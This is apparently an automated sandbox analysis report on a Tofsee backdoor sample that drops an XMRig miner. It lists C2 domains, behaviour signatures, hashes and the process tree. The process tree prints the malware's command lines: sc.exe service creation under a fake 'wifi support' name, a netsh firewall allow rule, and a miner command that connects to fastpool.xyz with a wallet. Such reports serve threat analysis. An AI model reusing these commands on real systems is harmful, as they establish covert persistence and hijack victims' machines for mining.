Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17/11/2022, 11:43

General

  • Target
    file.exe
  • Size 164KB
  • Sample221117-nvkhmsac9x
  • SHA256 41ba8b23261f263ddf53c94df2c776bcf4b100c46f39bebaccd1e0ee54f696ab
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4696
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\fhqadnyd\
      2⤵
        PID:4596
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\tfocbxgl.exe" C:\Windows\SysWOW64\fhqadnyd\
        2⤵
          PID:4144
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create fhqadnyd binPath= "C:\Windows\SysWOW64\fhqadnyd\tfocbxgl.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2132
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description fhqadnyd "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3160
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start fhqadnyd
          2⤵
          • Launches sc.exe
          PID:1688
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1368
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4696 -s 1040
          2⤵
          • Program crash
          PID:4232
      • C:\Windows\SysWOW64\fhqadnyd\tfocbxgl.exe
        C:\Windows\SysWOW64\fhqadnyd\tfocbxgl.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2232
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4684
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4784
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2232 -s 556
          2⤵
          • Program crash
          PID:1444
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 4696 -ip 4696
        1⤵
          PID:2584
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 2232 -ip 2232
          1⤵
            PID:3684

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                tfocbxgl.exe

                • Path C:\Users\Admin\AppData\Local\Temp\tfocbxgl.exe
                • Size 11.5MB
                • SHA256 86c714facb35dbf0c2127c0c23f029718bcb2d089fce0ed7adf8871d25742a15
                • MD5 SHA1 SHA512 SSDEEP

                tfocbxgl.exe

                • Path C:\Windows\SysWOW64\fhqadnyd\tfocbxgl.exe
                • Size 11.5MB
                • SHA256 86c714facb35dbf0c2127c0c23f029718bcb2d089fce0ed7adf8871d25742a15
                • MD5 SHA1 SHA512 SSDEEP

                memory/2232-150-0x0000000000400000-0x000000000058E000-memory.dmp

                memory/4684-153-0x0000000002A00000-0x0000000002C0F000-memory.dmp

                memory/4684-165-0x0000000007880000-0x0000000007C8B000-memory.dmp

                memory/4684-168-0x0000000002DD0000-0x0000000002DD7000-memory.dmp

                memory/4684-162-0x00000000021F0000-0x00000000021F5000-memory.dmp

                memory/4684-147-0x0000000000CE0000-0x0000000000CF5000-memory.dmp

                memory/4684-159-0x0000000002160000-0x0000000002170000-memory.dmp

                memory/4684-151-0x0000000000CE0000-0x0000000000CF5000-memory.dmp

                memory/4684-152-0x0000000000CE0000-0x0000000000CF5000-memory.dmp

                memory/4684-156-0x0000000002150000-0x0000000002156000-memory.dmp

                memory/4696-133-0x0000000000740000-0x0000000000753000-memory.dmp

                memory/4696-132-0x00000000005E9000-0x00000000005FA000-memory.dmp

                memory/4696-144-0x0000000000400000-0x000000000058E000-memory.dmp

                memory/4696-134-0x0000000000400000-0x000000000058E000-memory.dmp

                memory/4696-143-0x00000000005E9000-0x00000000005FA000-memory.dmp

                memory/4784-172-0x0000000000800000-0x00000000008F1000-memory.dmp

                memory/4784-177-0x0000000000800000-0x00000000008F1000-memory.dmp